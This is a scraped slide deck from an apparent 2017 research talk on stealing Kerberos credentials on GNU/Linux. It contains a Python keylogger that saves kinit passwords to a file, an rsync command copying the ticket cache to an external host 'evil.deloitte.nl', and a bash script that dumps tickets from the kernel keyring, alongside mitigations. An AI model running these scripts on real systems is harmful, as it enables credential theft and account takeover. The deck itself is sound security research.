kerberos credential thievery gnu linux
play

Kerberos Credential Thievery (GNU/Linux) Ronan Loftus, Arne Zismer - PowerPoint PPT Presentation

Kerberos Credential Thievery (GNU/Linux) Ronan Loftus, Arne Zismer July 3, 2017 Context Kerberos I Authentication protocol Reduce amount of sensitive credentials sent over the network Commonly used in Linux networks (e.g. Hadoop)


  1. Kerberos Credential Thievery (GNU/Linux) Ronan Loftus, Arne Zismer July 3, 2017

  2. Context

  3. Kerberos I • Authentication protocol • Reduce amount of sensitive credentials sent over the network • Commonly used in Linux networks (e.g. Hadoop) 1/18

  4. Research Question Can Kerberos credentials be stolen from GNU/Linux machines? 2/18

  5. Related Work • Sniffing and replaying Kerberos credentials on the network [1] • Extracting Kerberos credentials from Windows machines with Mimikatz [2] 3/18

  6. Approach

  7. Kerberos II 4/18 Figure 1: Kerberos protocol

  8. Kerberos II 4/18 Figure 2: Kerberos protocol

  9. Kerberos II 4/18 Figure 3: Kerberos protocol

  10. Kerberos II 4/18 Figure 4: Kerberos protocol

  11. Kerberos II 4/18 Figure 5: Our test setup

  12. Kerberos II • Tickets are stored in credential caches: • File • Keyring • Memory 5/18

  13. Attacks

  14. Credential Cache (File) 6/18

  15. Keylogging I • Targeted keylogger • Path manipulation 7/18

  16. Keylogging II if __name__ == '__main__': 1 krbuser = argv[1] 2 child = spawn('/usr/bin/kinit {}' 3 .format(krbuser)) prompt = 4 child.read_nonblocking(1024).decode('utf-8') password = getpass(prompt) 5 child.sendline(password) 6 with open("creds.txt", "w") as f; 7 f.write(password) 8 8/18

  17. File Copying • Default credential storage • Contains all relevant authentication information rsync /tmp/krb5cc_$(id -u) eve@evil.deloitte.nl: 9/18

  18. Query Kernel Keyring I What is a keyring? 10/18

  19. Query Kernel Keyring I What is a keyring? What is keyctl ? 10/18

  20. Query Kernel Keyring I What is a keyring? What is keyctl ? 1. Find the right keyring 2. Dump the credential fragments 3. Rebuild them as file 4. ??? 5. Profit 10/18

  21. Query Kernel Keyring II #!/bin/bash 1 2 keyring_name="u_name" 3 krb_keyring=$(keyctl search @s "keyring" "_krb_${keyring_name}" 0) 4 keyring=$(keyctl search ${krb_keyring} "keyring" "${keyring_name}" 0) 5 key_components=( $(keyctl rlist ${keyring}) ) 6 7 tmp_dir=$(mktemp -d) 8 for i in ${!key_components[@]}; do 9 SPN="$(keyctl rdescribe ${key_components[${i}]} | rev | cut -d';' -f1 | rev)" 10 keyctl pipe "${key_components[${i}]}" > "${tmp_dir}/${SPN}.bin" 11 done 12 13 cat ccache_header_data > krb5cc_$(id -u) 14 cat ${tmp_dir}/__krb5_princ__.bin >> krb5cc_$(id -u) 15 find ${tmp_dir} -name "*krbtgt*" -exec cat {} \; >> krb5cc_$(id -u) 16 rm -rf ${tmp_dir} 17 11/18

  22. Dumping Process Memory 1. Create process containing ticket 2. Dump its memory 3. Find the encrypted blocks 4. Extract them 5. Transplant them into a file 12/18

  23. Demo 13/18

  24. Demo DEMO Praise be to Cthulhu! 14/18

  25. Wrapping Up

  26. Conclusion Password File Ticket Keyring Ticket Process Ticket 15/18

  27. Conclusion � Password File Ticket Keyring Ticket Process Ticket 15/18

  28. Conclusion � Password � File Ticket Keyring Ticket Process Ticket 15/18

  29. Conclusion � Password � File Ticket � Keyring Ticket Process Ticket 15/18

  30. Conclusion � Password � File Ticket � Keyring Ticket � Process Ticket 15/18

  31. Conclusion � Password � File Ticket � Keyring Ticket � Process Ticket Tickets can be stolen :( 15/18

  32. Mitigations Password: Absolute path, secure path File Ticket: Don’t use it! Keyring Ticket: Choose the most shorted lived keyring Process Ticket: RAM encryption? 16/18

  33. Extensions • Automate Acquisition of tickets from process memory • Extend to every keyring type 17/18

  34. Questions?

  35. References Emmanuel Bouillon. Taming the beast: Assess kerberos-protected networks, 2009. Benjamin Delpy. Mimikatz. https://github.com/gentilkiwi/mimikatz , 2014. 18/18

Recommend


More recommend